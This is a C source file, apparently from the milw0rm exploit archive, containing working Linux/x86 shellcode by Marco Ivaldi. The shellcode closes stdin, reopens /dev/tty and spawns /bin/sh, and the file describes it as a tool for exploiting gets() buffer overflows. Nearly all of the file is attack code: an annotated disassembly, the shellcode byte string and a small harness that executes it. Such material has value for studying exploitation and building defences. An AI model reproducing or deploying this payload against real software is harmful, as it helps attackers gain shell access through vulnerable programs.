477bcbdcc0
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56 lines
No EOL
2.1 KiB
C
Executable file
56 lines
No EOL
2.1 KiB
C
Executable file
/*
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* $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $
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*
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* gets-linux.c - stdin re-open shellcode for Linux/x86
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* Copyright (c) 2003 Marco Ivaldi <raptor@0xdeadbeef.info>
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*
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* Local shellcode for stdin re-open and /bin/sh exec. It closes stdin
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* descriptor and re-opens /dev/tty, then does an execve() of /bin/sh.
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* Useful to exploit some gets() buffer overflows in an elegant way...
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*/
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/*
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* close(0)
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*
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* 8049380: 31 c0 xor %eax,%eax
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* 8049382: 31 db xor %ebx,%ebx
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* 8049384: b0 06 mov $0x6,%al
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* 8049386: cd 80 int $0x80
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*
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* open("/dev/tty", O_RDWR | ...)
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*
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* 8049388: 53 push %ebx
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* 8049389: 68 2f 74 74 79 push $0x7974742f
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* 804938e: 68 2f 64 65 76 push $0x7665642f
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* 8049393: 89 e3 mov %esp,%ebx
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* 8049395: 31 c9 xor %ecx,%ecx
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* 8049397: 66 b9 12 27 mov $0x2712,%cx
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* 804939b: b0 05 mov $0x5,%al
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* 804939d: cd 80 int $0x80
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*
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* execve("/bin/sh", ["/bin/sh"], NULL)
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*
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* 804939f: 31 c0 xor %eax,%eax
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* 80493a1: 50 push %eax
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* 80493a2: 68 2f 2f 73 68 push $0x68732f2f
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* 80493a7: 68 2f 62 69 6e push $0x6e69622f
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* 80493ac: 89 e3 mov %esp,%ebx
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* 80493ae: 50 push %eax
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* 80493af: 53 push %ebx
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* 80493b0: 89 e1 mov %esp,%ecx
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* 80493b2: 99 cltd
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* 80493b3: b0 0b mov $0xb,%al
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* 80493b5: cd 80 int $0x80
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*/
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char sc[] =
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"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
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"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
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"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
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main()
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{
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int (*f)() = (int (*)())sc; f();
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}
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// milw0rm.com [2006-07-20]
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